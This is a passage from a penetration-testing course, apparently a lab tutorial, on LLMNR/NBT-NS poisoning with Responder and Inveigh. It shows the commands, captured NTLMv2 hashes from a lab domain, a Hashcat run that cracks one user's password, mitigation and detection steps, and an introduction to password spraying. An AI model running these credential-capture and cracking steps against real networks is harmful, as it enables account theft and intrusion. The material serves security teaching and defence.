outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to
be
ON. This option is highly effective when combined
with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose Increase verbosity.

As shown earlier in the module, the -A flag puts us into analyze mode, allowing us to see
NBT-NS, BROWSER, and LLMNR requests in the environment without poisoning any

https://t.me/offenciveSec
responses. We must always supply either an interface or an IP. Some common options we'll
typically want to use are -wf ; this will start the WPAD rogue proxy server, while -f will
attempt to fingerprint the remote host operating system and version. We can use the -v flag
for increased verbosity if we are running into issues, but this will lead to a lot of additional
data printed to the console. Other options such as -F and -P can be used to force NTLM or
Basic authentication and force proxy authentication, but may cause a login prompt, so they
should be used sparingly. The use of the -w flag utilizes the built-in WPAD proxy server.
This can be highly effective, especially in large organizations, because it will capture all
HTTP requests by any users that launch Internet Explorer if the browser has Auto-detect
settings enabled.

With this configuration shown above, Responder will listen and answer any requests it sees
on the wire. If you are successful and manage to capture a hash, Responder will print it out
on screen and write it to a log file per host located in the /usr/share/responder/logs
directory. Hashes are saved in the format (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt ,
and one hash is printed to the console and stored in its associated log file unless -v mode
is enabled. For example, a log file may look like SMB-NTLMv2-SSP-172.16.5.25 . Hashes
are also stored in a SQLite database that can be configured in the Responder.conf config
file, typically located in /usr/share/responder unless we clone the Responder repo
directly from GitHub.

We must run the tool with sudo privileges or as root and make sure the following ports are
available on our attack host for it to function best:

UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135,
TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128,
Multicast UDP 5355 and 5353

Any of the rogue servers (i.e., SMB) can be disabled in the Responder.conf file.

Responder Logs

ls

Analyzer-Session.log Responder-Session.log
Config-Responder.log SMB-NTLMv2-SSP-172.16.5.200.txt
HTTP-NTLMv2-172.16.5.200.txt SMB-NTLMv2-SSP-172.16.5.25.txt
Poisoners-Session.log SMB-NTLMv2-SSP-172.16.5.50.txt
Proxy-Auth-NTLMv2-172.16.5.200.txt

If Responder successfully captured hashes, as seen above, we can find the hashes
associated with each host/protocol in their own text file. The animation below shows us an

https://t.me/offenciveSec
example of Responder running and capturing hashes on the network.

We can kick off a Responder session rather quickly:

Starting Responder with Default Settings

sudo responder -I ens224

Capturing with Responder

Typically we should start Responder and let it run for a while in a tmux window while we
perform other enumeration tasks to maximize the number of hashes that we can obtain.
Once we are ready, we can pass these hashes to Hashcat using hash mode 5600 for
NTLMv2 hashes that we typically obtain with Responder. We may at times obtain NTLMv1
hashes and other types of hashes and can consult the Hashcat example hashes page to
identify them and find the proper hash mode. If we ever obtain a strange or unknown hash,
this site is a great reference to help identify it. Check out the Cracking Passwords With
Hashcat module for an in-depth study of Hashcat's various modes and how to attack a wide
variety of hash types.

Once we have enough, we need to get these hashes into a usable format for us right now.
NetNTLMv2 hashes are very useful once cracked, but cannot be used for techniques such
as pass-the-hash, meaning we have to attempt to crack them offline. We can do this with
tools such as Hashcat and John.

Cracking an NTLMv2 Hash With Hashcat

https://t.me/offenciveSec
 hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...

<SNIP>

Dictionary cache hit:

* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80baa52d732719dbf62c34cc:01
0100000000000080f519d1432cd80136f3af14556f04780000000002000800490034004600
4e0001001e00570049004e002d0032004e004c005100420057004d00310054005000490004
003400570049004e002d0032004e004c005100420057004d0031005400500049002e004900
340046004e002e004c004f00430041004c00030014004900340046004e002e004c004f0043
0041004c00050014004900340046004e002e004c004f00430041004c000700080080f519d1
432cd80106000400020000000800300030000000000000000000000000300000227f23c33f
457eb40768939489f1d4f76e0e07a337ccfdd45a57d9b612691a800a001000000000000000
000000000000000000000900220063006900660073002f003100370032002e00310036002e
0035002e003200320035000000000000000000:Klmcargo2

Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......:
FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80ba...000000
Time.Started.....: Mon Feb 28 15:20:30 2022 (11 secs)
Time.Estimated...: Mon Feb 28 15:20:41 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1086.9 kH/s (2.64ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10967040/14344385 (76.46%)
Rejected.........: 0/10967040 (0.00%)
Restore.Point....: 10960896/14344385 (76.41%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: L0VEABLE -> Kittikat

Started: Mon Feb 28 15:20:29 2022

Stopped: Mon Feb 28 15:20:42 2022

Looking at the results above, we can see we cracked the NET-NTLMv2 hash for user
FOREND , whose password is Klmcargo2 . Lucky for us our target domain allows weak 8-
character passwords. This hash type can be "slow" to crack even on a GPU cracking rig, so

https://t.me/offenciveSec
large and complex passwords may be more difficult or impossible to crack within a
reasonable amount of time.

Moving On
At this point in our assessment, we have obtained and cracked one NetNTLMv2 hash for the
user FOREND . We can use this as a foothold into the domain to begin further enumeration. It
is best to collect as much data as possible during an assessment, so we should attempt to
crack as many hashes as we can (provided our later enumeration shows the value in
cracking them to further our access). We don't want to waste precious assessment time
attempting to crack hashes for users that will not help us move further toward our goal.
Before we move into other ways to obtain a foothold via password spraying, let's walk
through a similar method for obtaining hashes from a Windows host using the Inveigh tool.

LLMNR/NBT-NS Poisoning - from Windows

LLMNR & NBT-NS poisoning is possible from a Windows host as well. In the last section, we
utilized Responder to capture hashes. This section will explore the tool Inveigh and attempt
to capture another set of credentials.

Inveigh - Overview
If we end up with a Windows host as our attack box, our client provides us with a Windows
box to test from, or we land on a Windows host as a local admin via another attack method
and would like to look to further our access, the tool Inveigh works similar to Responder, but
is written in PowerShell and C#. Inveigh can listen to IPv4 and IPv6 and several other
protocols, including LLMNR , DNS, mDNS , NBNS, DHCPv6 , ICMPv6, HTTP , HTTPS, SMB ,
LDAP, WebDAV , and Proxy Auth. The tool is available in the C:\Tools directory on the
provided Windows attack host.

We can get started with the PowerShell version as follows and then list all possible
parameters. There is a wiki that lists all parameters and usage instructions.

Using Inveigh
PS C:\htb> Import-Module .\Inveigh.ps1
PS C:\htb> (Get-Command Invoke-Inveigh).Parameters

Key Value

https://t.me/offenciveSec
 --- -----
ADIDNSHostsIgnore System.Management.Automation.ParameterMetadata
KerberosHostHeader System.Management.Automation.ParameterMetadata
ProxyIgnore System.Management.Automation.ParameterMetadata
PcapTCP System.Management.Automation.ParameterMetadata
PcapUDP System.Management.Automation.ParameterMetadata
SpooferHostsReply System.Management.Automation.ParameterMetadata
SpooferHostsIgnore System.Management.Automation.ParameterMetadata
SpooferIPsReply System.Management.Automation.ParameterMetadata
SpooferIPsIgnore System.Management.Automation.ParameterMetadata
WPADDirectHosts System.Management.Automation.ParameterMetadata
WPADAuthIgnore System.Management.Automation.ParameterMetadata
ConsoleQueueLimit System.Management.Automation.ParameterMetadata
ConsoleStatus System.Management.Automation.ParameterMetadata
ADIDNSThreshold System.Management.Automation.ParameterMetadata
ADIDNSTTL System.Management.Automation.ParameterMetadata
DNSTTL System.Management.Automation.ParameterMetadata
HTTPPort System.Management.Automation.ParameterMetadata
HTTPSPort System.Management.Automation.ParameterMetadata
KerberosCount System.Management.Automation.ParameterMetadata
LLMNRTTL System.Management.Automation.ParameterMetadata

<SNIP>

Let's start Inveigh with LLMNR and NBNS spoofing, and output to the console and write to a
file. We will leave the rest of the defaults, which can be seen here.

PS C:\htb> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y

[*] Inveigh 1.506 started at 2022-02-28T19:26:30

[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.5.25
[+] Spoofer IP Address = 172.16.5.25
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
[+] NBNS Spoofer For Types 00,20 = Enabled
[+] NBNS TTL = 165 Seconds
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Certificate Issuer = Inveigh
[+] HTTPS Certificate CN = localhost
[+] HTTPS Capture = Enabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
https://t.me/offenciveSec
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Tools
WARNING: [!] Run Stop-Inveigh to stop
[*] Press any key to stop console output
WARNING: [-] [2022-02-28T19:26:31] Error starting HTTP listener
WARNING: [!] [2022-02-28T19:26:31] Exception calling "Start" with "0"
argument(s): "An attempt was made to access a
socket in a way forbidden by its access permissions"
$HTTP_listener.Start()
[+] [2022-02-28T19:26:31] mDNS(QM) request academy-ea-web0.local received
from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:31] mDNS(QM) request academy-ea-web0.local received
from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:31] LLMNR request for academy-ea-web0 received from
172.16.5.125 [response sent]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received
from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received
from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] LLMNR request for academy-ea-web0 received from
172.16.5.125 [response sent]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received
from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received
from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] LLMNR request for academy-ea-web0 received from
172.16.5.125 [response sent]
[+] [2022-02-28T19:26:33] mDNS(QM) request academy-ea-web0.local received
from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:33] mDNS(QM) request academy-ea-web0.local received
from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:33] LLMNR request for academy-ea-web0 received from
172.16.5.125 [response sent]
[+] [2022-02-28T19:26:34] TCP(445) SYN packet detected from
172.16.5.125:56834
[+] [2022-02-28T19:26:34] SMB(445) negotiation request detected from
172.16.5.125:56834
[+] [2022-02-28T19:26:34] SMB(445) NTLM challenge 7E3B0E53ADB4AE51 sent to
172.16.5.125:56834

<SNIP>

https://t.me/offenciveSec
We can see that we immediately begin getting LLMNR and mDNS requests. The below
animation shows the tool in action.

C# Inveigh (InveighZero)
The PowerShell version of Inveigh is the original version and is no longer updated. The tool
author maintains the C# version, which combines the original PoC C# code and a C# port of
most of the code from the PowerShell version. Before we can use the C# version of the tool,
we have to compile the executable. To save time, we have included a copy of both the
PowerShell and compiled executable version of the tool in the C:\Tools folder on the target
host in the lab, but it is worth walking through the exercise (and best practice) of compiling it
yourself using Visual Studio.

Let's go ahead and run the C# version with the defaults and start capturing hashes.

PS C:\htb> .\Inveigh.exe

[*] Inveigh 2.0.4 [Started 2022-02-28T20:03:28 | PID 6276]

[+] Packet Sniffer Addresses [IP 172.16.5.25 | IPv6

https://t.me/offenciveSec
fe80::dcec:2831:712b:c9a3%8]
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 172.16.5.25 | IPv6
fe80::dcec:2831:712b:c9a3%8]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[ ] DHCPv6
[+] DNS Packet Sniffer [Type A]
[ ] ICMPv6
[+] LLMNR Packet Sniffer [Type A]
[ ] MDNS
[ ] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[ ] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[ ] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Packet Sniffer [Port 445]
[+] File Output [C:\Tools]
[+] Previous Session Files (Not Found)
[*] Press ESC to enter/exit interactive console
[!] Failed to start HTTP listener on port 80, check IP and port usage.
[!] Failed to start HTTPv6 listener on port 80, check IP and port usage.
[ ] [20:03:31] mDNS(QM)(A) request [academy-ea-web0.local] from
172.16.5.125 [disabled]
[ ] [20:03:31] mDNS(QM)(AAAA) request [academy-ea-web0.local] from
172.16.5.125 [disabled]
[ ] [20:03:31] mDNS(QM)(A) request [academy-ea-web0.local] from
fe80::f098:4f63:8384:d1d0%8 [disabled]
[ ] [20:03:31] mDNS(QM)(AAAA) request [academy-ea-web0.local] from
fe80::f098:4f63:8384:d1d0%8 [disabled]
[+] [20:03:31] LLMNR(A) request [academy-ea-web0] from 172.16.5.125
[response sent]
[-] [20:03:31] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125
[type ignored]
[+] [20:03:31] LLMNR(A) request [academy-ea-web0] from
fe80::f098:4f63:8384:d1d0%8 [response sent]
[-] [20:03:31] LLMNR(AAAA) request [academy-ea-web0] from
fe80::f098:4f63:8384:d1d0%8 [type ignored]
[ ] [20:03:32] mDNS(QM)(A) request [academy-ea-web0.local] from
172.16.5.125 [disabled]
[ ] [20:03:32] mDNS(QM)(AAAA) request [academy-ea-web0.local] from
172.16.5.125 [disabled]
[ ] [20:03:32] mDNS(QM)(A) request [academy-ea-web0.local] from
fe80::f098:4f63:8384:d1d0%8 [disabled]
[ ] [20:03:32] mDNS(QM)(AAAA) request [academy-ea-web0.local] from
fe80::f098:4f63:8384:d1d0%8 [disabled]
[+] [20:03:32] LLMNR(A) request [academy-ea-web0] from 172.16.5.125
[response sent]
[-] [20:03:32] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125
[type ignored]
https://t.me/offenciveSec
 [+] [20:03:32] LLMNR(A) request [academy-ea-web0] from
fe80::f098:4f63:8384:d1d0%8 [response sent]
[-] [20:03:32] LLMNR(AAAA) request [academy-ea-web0] from
fe80::f098:4f63:8384:d1d0%8 [type ignored]

As we can see, the tool starts and shows which options are enabled by default and which
are not. The options with a [+] are default and enabled by default and the ones with a [ ]
before them are disabled. The running console output also shows us which options are
disabled and, therefore, responses are not being sent (mDNS in the above example). We
can also see the message Press ESC to enter/exit interactive console , which is
very useful while running the tool. The console gives us access to captured
credentials/hashes, allows us to stop Inveigh, and more.

We can hit the esc key to enter the console while Inveigh is running.

<SNIP>

[+] [20:10:24] LLMNR(A) request [academy-ea-web0] from 172.16.5.125

[response sent]
[+] [20:10:24] LLMNR(A) request [academy-ea-web0] from
fe80::f098:4f63:8384:d1d0%8 [response sent]
[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from
fe80::f098:4f63:8384:d1d0%8 [type ignored]
[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125
[type ignored]
[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from
fe80::f098:4f63:8384:d1d0%8 [type ignored]
[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125
[type ignored]
[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from
fe80::f098:4f63:8384:d1d0%8 [type ignored]
[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125
[type ignored]
[.] [20:10:24] TCP(1433) SYN packet from 172.16.5.125:61310
[.] [20:10:24] TCP(1433) SYN packet from 172.16.5.125:61311
C(0:0) NTLMv1(0:0) NTLMv2(3:9)> HELP

After typing HELP and hitting enter, we are presented with several options:

=============================================== Inveigh Console Commands

===============================================

Command Description

https://t.me/offenciveSec
 ==========================================================================
==============================================
GET CONSOLE | get queued console output
GET DHCPv6Leases | get DHCPv6 assigned IPv6 addresses
GET LOG | get log entries; add search string to
filter results
GET NTLMV1 | get captured NTLMv1 hashes; add search
string to filter results
GET NTLMV2 | get captured NTLMv2 hashes; add search
string to filter results
GET NTLMV1UNIQUE | get one captured NTLMv1 hash per user;
add search string to filter results
GET NTLMV2UNIQUE | get one captured NTLMv2 hash per user;
add search string to filter results
GET NTLMV1USERNAMES | get usernames and source IPs/hostnames
for captured NTLMv1 hashes
GET NTLMV2USERNAMES | get usernames and source IPs/hostnames
for captured NTLMv2 hashes
GET CLEARTEXT | get captured cleartext credentials
GET CLEARTEXTUNIQUE | get unique captured cleartext
credentials
GET REPLYTODOMAINS | get ReplyToDomains parameter startup
values
GET REPLYTOHOSTS | get ReplyToHosts parameter startup
values
GET REPLYTOIPS | get ReplyToIPs parameter startup values
GET REPLYTOMACS | get ReplyToMACs parameter startup values
GET IGNOREDOMAINS | get IgnoreDomains parameter startup
values
GET IGNOREHOSTS | get IgnoreHosts parameter startup values
GET IGNOREIPS | get IgnoreIPs parameter startup values
GET IGNOREMACS | get IgnoreMACs parameter startup values
SET CONSOLE | set Console parameter value
HISTORY | get command history
RESUME | resume real time console output
STOP | stop Inveigh

We can quickly view unique captured hashes by typing GET NTLMV2UNIQUE .

================================================= Unique NTLMv2 Hashes

=================================================

Hashes
==========================================================================
==============================================
backupagent::INLANEFREIGHT:B5013246091943D7:16A41B703C8D4F8F6AF75C47C3B50C
B5:01010000000000001DBF1816222DD801DF80FE7D54E898EF0000000002001A0049004E0
https://t.me/offenciveSec
 04C0041004E004500460052004500490047004800540001001E00410043004100440045004
D0059002D00450041002D004D005300300031000400260049004E004C0041004E004500460
05200450049004700480054002E004C004F00430041004C000300460041004300410044004
5004D0059002D00450041002D004D005300300031002E0049004E004C0041004E004500460
05200450049004700480054002E004C004F00430041004C000500260049004E004C0041004
E00450046005200450049004700480054002E004C004F00430041004C00070008001DBF181
6222DD8010600040002000000080030003000000000000000000000000030000004A1520CE
1551E8776ADA0B3AC0176A96E0E200F3E0D608F0103EC5C3D5F22E80A00100000000000000
0000000000000000000000900200063006900660073002F003100370032002E00310036002
E0035002E00320035000000000000000000
forend::INLANEFREIGHT:32FD89BD78804B04:DFEB0C724F3ECE90E42BAF061B78BFE2:01
0100000000000016010623222DD801B9083B0DCEE1D9520000000002001A0049004E004C00
41004E004500460052004500490047004800540001001E00410043004100440045004D0059
002D00450041002D004D005300300031000400260049004E004C0041004E00450046005200
450049004700480054002E004C004F00430041004C0003004600410043004100440045004D
0059002D00450041002D004D005300300031002E0049004E004C0041004E00450046005200
450049004700480054002E004C004F00430041004C000500260049004E004C0041004E0045
0046005200450049004700480054002E004C004F00430041004C000700080016010623222D
D8010600040002000000080030003000000000000000000000000030000004A1520CE1551E
8776ADA0B3AC0176A96E0E200F3E0D608F0103EC5C3D5F22E80A0010000000000000000000
00000000000000000900200063006900660073002F003100370032002E00310036002E0035
002E00320035000000000000000000

<SNIP>

We can type in GET NTLMV2USERNAMES and see which usernames we have collected. This is
helpful if we want a listing of users to perform additional enumeration against and see which
are worth attempting to crack offline using Hashcat.

=================================================== NTLMv2 Usernames

===================================================

IP Address Host
Username Challenge
==========================================================================
==============================================
172.16.5.125 | ACADEMY-EA-FILE |
INLANEFREIGHT\backupagent | B5013246091943D7
172.16.5.125 | ACADEMY-EA-FILE |
INLANEFREIGHT\forend | 32FD89BD78804B04
172.16.5.125 | ACADEMY-EA-FILE |
INLANEFREIGHT\clusteragent | 28BF08D82FA998E4
172.16.5.125 | ACADEMY-EA-FILE |
INLANEFREIGHT\wley | 277AC2ED022DB4F7
172.16.5.125 | ACADEMY-EA-FILE |

https://t.me/offenciveSec
 INLANEFREIGHT\svc_qualys | 5F9BB670D23F23ED

Let's start Inveigh and then interact with the output a bit to put it all together.

Remediation
Mitre ATT&CK lists this technique as ID: T1557.001, Adversary-in-the-Middle:
LLMNR/NBT-NS Poisoning and SMB Relay .

There are a few ways to mitigate this attack. To ensure that these spoofing attacks are not
possible, we can disable LLMNR and NBT-NS. As a word of caution, it is always worth
slowly testing out a significant change like this to your environment carefully before rolling it
out fully. As penetration testers, we can recommend these remediation steps, but should
clearly communicate to our clients that they should test these changes heavily to ensure that
disabling both protocols does not break anything in the network.

We can disable LLMNR in Group Policy by going to Computer Configuration -->

Administrative Templates --> Network --> DNS Client and enabling "Turn OFF Multicast

https://t.me/offenciveSec
Name Resolution."

NBT-NS cannot be disabled via Group Policy but must be disabled locally on each host. We
can do this by opening Network and Sharing Center under Control Panel , clicking on
Change adapter settings , right-clicking on the adapter to view its properties, selecting
Internet Protocol Version 4 (TCP/IPv4) , and clicking the Properties button, then
clicking on Advanced and selecting the WINS tab and finally selecting Disable NetBIOS
over TCP/IP .

While it is not possible to disable NBT-NS directly via GPO, we can create a PowerShell
script under Computer Configuration --> Windows Settings --> Script (Startup/Shutdown) -->
Startup with something like the following:

$regkey =
"HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey |foreach { Set-ItemProperty -Path

https://t.me/offenciveSec
 "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}

In the Local Group Policy Editor, we will need to double click on Startup , choose the
PowerShell Scripts tab, and select "For this GPO, run scripts in the following order" to
Run Windows PowerShell scripts first , and then click on Add and choose the script.
For these changes to occur, we would have to either reboot the target system or restart the
network adapter.

To push this out to all hosts in a domain, we could create a GPO using Group Policy
Management on the Domain Controller and host the script on the SYSVOL share in the
scripts folder and then call it via its UNC path such as:

\\inlanefreight.local\SYSVOL\INLANEFREIGHT.LOCAL\scripts

Once the GPO is applied to specific OUs and those hosts are restarted, the script will run at
the next reboot and disable NBT-NS, provided that the script still exists on the SYSVOL
share and is accessible by the host over the network.

https://t.me/offenciveSec
Other mitigations include filtering network traffic to block LLMNR/NetBIOS traffic and
enabling SMB Signing to prevent NTLM relay attacks. Network intrusion detection and
prevention systems can also be used to mitigate this activity, while network segmentation
can be used to isolate hosts that require LLMNR or NetBIOS enabled to operate correctly.

Detection
It is not always possible to disable LLMNR and NetBIOS, and therefore we need ways to
detect this type of attack behavior. One way is to use the attack against the attackers by
injecting LLMNR and NBT-NS requests for non-existent hosts across different subnets and
alerting if any of the responses receive answers which would be indicative of an attacker
spoofing name resolution responses. This blog post explains this method more in-depth.

Furthermore, hosts can be monitored for traffic on ports UDP 5355 and 137, and event IDs
4697 and 7045 can be monitored for. Finally, we can monitor the registry key
HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the
EnableMulticast DWORD value. A value of 0 would mean that LLMNR is disabled.

Moving On
We've now captured hashes for several accounts. At this point in our assessment, we would
want to perform enumeration using a tool such as BloodHound to determine whether any or
all of these hashes are worth cracking. If we get lucky and crack a hash for a user account
with some privileged access or rights, we can begin expanding our reach into the domain.
We may even get very lucky and crack the hash for a Domain Admin user! If we were
unlucky in cracking hashes or cracked some but did not yield any fruit, then perhaps
password spraying (which we will cover in-depth in the following few sections) will be more
successful.

Please allow 3-5 minutes for the machine to become available after spawning the target of
the question below.

Password Spraying Overview

Password spraying can result in gaining access to systems and potentially gaining a foothold
on a target network. The attack involves attempting to log into an exposed service using one
common password and a longer list of usernames or email addresses. The usernames and
emails may have been gathered during the OSINT phase of the penetration test or our initial
enumeration attempts. Remember that a penetration test is not static, but we are constantly
https://t.me/offenciveSec
iterating through several techniques and repeating processes as we uncover new data.
Often we will be working in a team or executing multiple TTPs at once to utilize our time
effectively. As we progress through our career, we will find that many of our tasks like
scanning, attempting to crack hashes, and others take quite a bit of time. We need to make
sure we are using our time effectively and creatively because most assessments are time-
boxed. So while we have our poisoning attempts running, we can also utilize the info we
have to attempt to gain access via Password Spraying. Now let's cover some of the
considerations for Password spraying and how to make our target list from the information
we have.

Story Time
Password spraying can be a very effective way to gain a foothold internally. There are many
times that this technique has helped me land a foothold during my assessments. Keep in
mind that these examples come from non-evasive "grey box" assessments where I had
internal network access with a Linux VM and a list of in-scope IP ranges and nothing else.

Scenario 1
In this first example, I performed all my standard checks and could not find anything useful
like an SMB NULL session or LDAP anonymous bind that could allow me to retrieve a list of
valid users. So I decided to use the Kerbrute tool to build a target username list by
enumerating valid domain users (a technique we will cover later in this section). To create
this list, I took the jsmith.txt username list from the statistically-likely-usernames GitHub
repo and combined this with results that I got from scraping LinkedIn. With this combined list
in hand, I enumerated valid users with Kerbrute and then used the same tool to password
spray with the common password Welcome1 . I got two hits with this password for very low
privileged users, but this gave me enough access within the domain to run BloodHound and
eventually identify attack paths that led to domain compromise.

Scenario 2
In the second assessment, I was faced with a similar setup, but enumerating valid domain
users with common username lists, and results from LinkedIn did not yield any results. I
turned to Google and searched for PDFs published by the organization. My search
generated many results, and I confirmed in the document properties of 4 of them that the
internal username structure was in the format of F9L8 , randomly generated GUIDs using
just capital letters and numbers ( A-Z and 0-9 ). This information was published with the
document in the Author field and shows the importance of scrubbing document metadata
before posting anything online. From here, a short Bash script could be used to generate
16,679,616 possible username combinations.

https://t.me/offenciveSec
I then used the generated username list with Kerbrute to enumerate every single user
account in the domain. This attempt to make it more difficult to enumerate usernames ended
up with me being able to enumerate every single account in the domain because of the
predictable GUID in use combined with the PDF metadata I could locate and greatly
facilitated the attack. Typically, I can only identify 40-60% of valid accounts using a list such
as jsmith.txt . In this example, I significantly increased my chances of a successful
password spraying attack by starting the attack with ALL domain accounts in my target list.
From here, I obtained valid passwords for a few accounts. Eventually, I was able to follow a
complicated attack chain involving Resource-Based Constrained Delegation (RBCD) and the
Shadow Credentials attack to ultimately gain control over the domain.

Password Spraying Considerations

While password spraying is useful for a penetration tester or red teamer, careless use may
cause considerable harm, such as locking out hundreds of production accounts. One
example is brute-forcing attempts to identify the password for an account using a long list of
passwords. In contrast, password spraying is a more measured attack, utilizing very
common passwords across multiple industries. The below table visualizes a password spray.

Password Spray Visualization

Attack Username Password

1 [email